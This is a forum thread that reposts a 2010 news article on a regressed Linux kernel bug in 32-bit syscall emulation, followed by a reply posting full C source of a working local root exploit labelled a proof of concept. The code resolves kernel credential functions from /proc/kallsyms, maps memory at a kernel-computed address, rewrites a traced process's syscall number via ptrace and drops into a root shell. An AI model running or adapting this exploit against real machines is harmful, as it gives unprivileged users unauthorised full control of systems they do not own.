Jump to content
Nytro

Die-hard bug bytes Linux kernel for second time

Recommended Posts

Get your root access here

By Dan Goodin in San Francisco

15th September 2010 18:21 GMT

The Linux kernel has been purged of a bug that gave root access to untrusted users – again.

The vulnerability in a component of the operating system that translates values from 64 bits to 32 bits (and vice versa) was fixed once before – in 2007 with the release of version 2.6.22.7. But several months later, developers inadvertently rolled back the change, once again leaving the OS open to attacks that allow unprivileged users to gain full root access.

The bug was originally discovered by the late hacker Wojciech "cliph" Purczynski. But Ben Hawkes, the researcher who discovered the kernel regression bug, said here that he grew suspicious when he recently began tinkering under the hood of the open-source OS and saw signs the flaw was still active.

“I showed this to my friend Robert Swiecki who had written an exploit for the original bug in 2007, and he immediately said something along the lines of 'well this is interesting,'” Hawkes wrote. “We pulled up his old exploit from 2007, and with a few minor modifications to the privilege escalation code, we had a root shell.”

No doubt, Linux fans will be quick to point out that the bug can be exploited only by those with a valid account on a targeted machine in the first place. This is true, but the existence of vulnerabilities like these are a big deal in corporate, government and educational environments, where Linux is a mainstay has a large following. Add privilege escalation to the mix and things like protected mode, integrity levels, and chroot – often the very reason the OS was chosen in the first place – are largely wiped out.

The oversight means that untrusted users with, say, limited SSH access have a trivial means to gain unfettered access to pretty much any 64-bit installation. Consider, too, that the bug has been allowed to fester in the kernel for years and was already fixed once before and we think a measured WTF is in order.

It was one of two privilege-elevation vulnerabilities Hawkes disclosed on Wednesday in the Linux 32-bit compatibility mode. The official updates are here, here and here. ®

Link to comment
Share on other sites

Vad ca nu l`ai pus sus.. deci il pun eu

Tineti minte acesta este un POC!!!


* exploit for x86_64 linux kernel ia32syscall emulation (again)
* rediscovered by ben hawkes
* with help from robert swiecki and tavis ormandy
*
* original vulnerability discovered by Wojciech Purczynski
*
* original exploit by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
*
* kernel priv escalation code borrowed from spender
*
*/

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}

unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}

while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);

return 0;
}


static void docall(uint64_t *ptr, uint64_t size)
{
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}

prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}

uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

printf("mapping at %lx\n", tmp);

if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}

for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;

__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");

printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", NULL);
printf("no /bin/sh ??\n");
exit(0);
}

int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;

if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}

if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}

if (pid == -1) {
printf("fork fault\n");
exit(1);
}

for (;;) {
if (wait(&status) != pid)
continue;

if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}

if (!WIFSTOPPED(status))
continue;

if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n", WSTOPSIG(status));
break;
}

rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
}

if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}

if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}

return 0;
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...